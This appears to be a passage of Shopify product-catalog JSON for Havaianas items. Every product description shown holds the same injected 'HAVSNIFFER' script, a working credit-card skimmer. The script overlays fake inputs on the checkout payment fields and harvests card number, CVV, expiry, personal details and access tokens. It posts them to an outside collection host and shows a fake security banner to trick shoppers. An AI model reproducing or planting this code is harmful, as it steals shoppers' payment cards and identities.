=Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eSe você é ligado em moda, este modelo de Havaianas é totalmente seu número. O chinelo Urban Way vem com tiras de tecido tricolor, sola confortável e materiais sofisticados que completam uma proposta mais moderna e urbana.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ 43\/44","offer_id":45618704908545,"sku":"4146081_1069_434","price":129.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 41\/42","offer_id":45620820476161,"sku":"4146081_1069_412","price":129.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 45\/46","offer_id":45620824539393,"sku":"4146081_1069_456","price":129.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 39\/40","offer_id":45620935131393,"sku":"4146081_1069_390","price":129.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 37\/38","offer_id":45621357314305,"sku":"4146081_1069_378","price":129.99,"currency_code":"BRL","in_stock":true},{"title":"Preto \/ 35\/36","offer_id":45800408187137,"sku":"4146081_1069_356","price":129.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4146081_1069_CHINELO-HAVAIANAS-URBAN-WAY_C.png?v=1734125441"},{"product_id":"mochila-havaianas-saco-4141387-0090","title":"Mochila Havaianas Saco","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eFeita em poliéster, a Mochila Havaianas é lavável e seca rapidinho, para você usar sempre que precisar. Linda e resistente, ela conta com um bolso interno com zíper, compartimentos externos e fechamento com cordão e ímã. Leve tudo o que importa com você nesta mochila da Havaianas!\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ Único","offer_id":45619082166529,"sku":"4141387_0090_998","price":214.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4141387-havaianas-backpack-0090-2_ca0d6d9e-306f-4d08-b952-c8e6b8d0c667.jpg?v=1734125285"},{"product_id":"chinelo-havaianas-dual-4145602-8275","title":"Chinelo Havaianas Dual","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co 